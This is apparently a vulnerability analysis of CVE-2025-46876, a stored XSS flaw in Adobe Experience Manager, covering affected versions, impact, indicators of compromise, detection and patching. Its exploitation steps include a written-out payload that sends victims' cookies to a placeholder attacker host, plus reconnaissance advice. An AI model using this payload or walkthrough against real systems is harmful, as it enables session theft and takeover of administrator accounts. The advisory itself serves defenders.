CVE-2025-46876: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46876 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An attacker with low-level authenticated access can submit malicious JavaScript payloads into vulnerable AEM form fields; the input is stored server-side and later rendered without proper sanitization or output encoding in other users' browsers. Exploitation requires network access, low privileges, and user interaction (a victim must browse to the page containing the injected content), with a changed scope indicating the impact crosses the security boundary of the originating application (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the AEM application. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and compromise of web application integrity. While availability is not directly impacted, the confidentiality and integrity of user interactions with the AEM platform are at risk (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier (on-premise) or AEM Cloud Service prior to 2025.5.0 using web fingerprinting tools or Shodan queries targeting AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Authenticate with low-privileged account: Obtain or register a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and persist user-supplied input (e.g., content authoring forms, comment fields, or custom form components).
4. Inject malicious payload: Submit a stored XSS payload into the vulnerable field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator or editor) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session cookies, credentials, or perform actions on behalf of the victim using the captured session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing HTML/JavaScript tags or encoded XSS payloads (e.g., %3Cscript%3E, onerror=, javascript:) in form field parameters.
• Logs: AEM error logs or audit logs recording unexpected content submissions by low-privileged user accounts.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing specific AEM pages, potentially carrying cookie or session data in query parameters.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onload, onerror, onclick) within stored AEM content nodes in the JCR repository.
• Process/Browser: Unexpected redirects or pop-ups experienced by AEM users when browsing authored content pages.

Adobe has released patches addressing this vulnerability: upgrade AEM on-premise to version 6.5.23.0 or later, and update AEM Cloud Service to 2025.5.0 or later. As interim mitigations, administrators should implement strict input validation and output encoding on all user-supplied content, enforce Content Security Policy (CSP) headers to restrict unauthorized script execution, and limit access to AEM authoring interfaces to trusted users only. Regularly reviewing and sanitizing user-submitted content is also recommended (Adobe Advisory).

The CIS (Center for Internet Security) issued an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, flagging potential for arbitrary code execution in the broader Adobe product context (CIS Advisory). No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE at this time.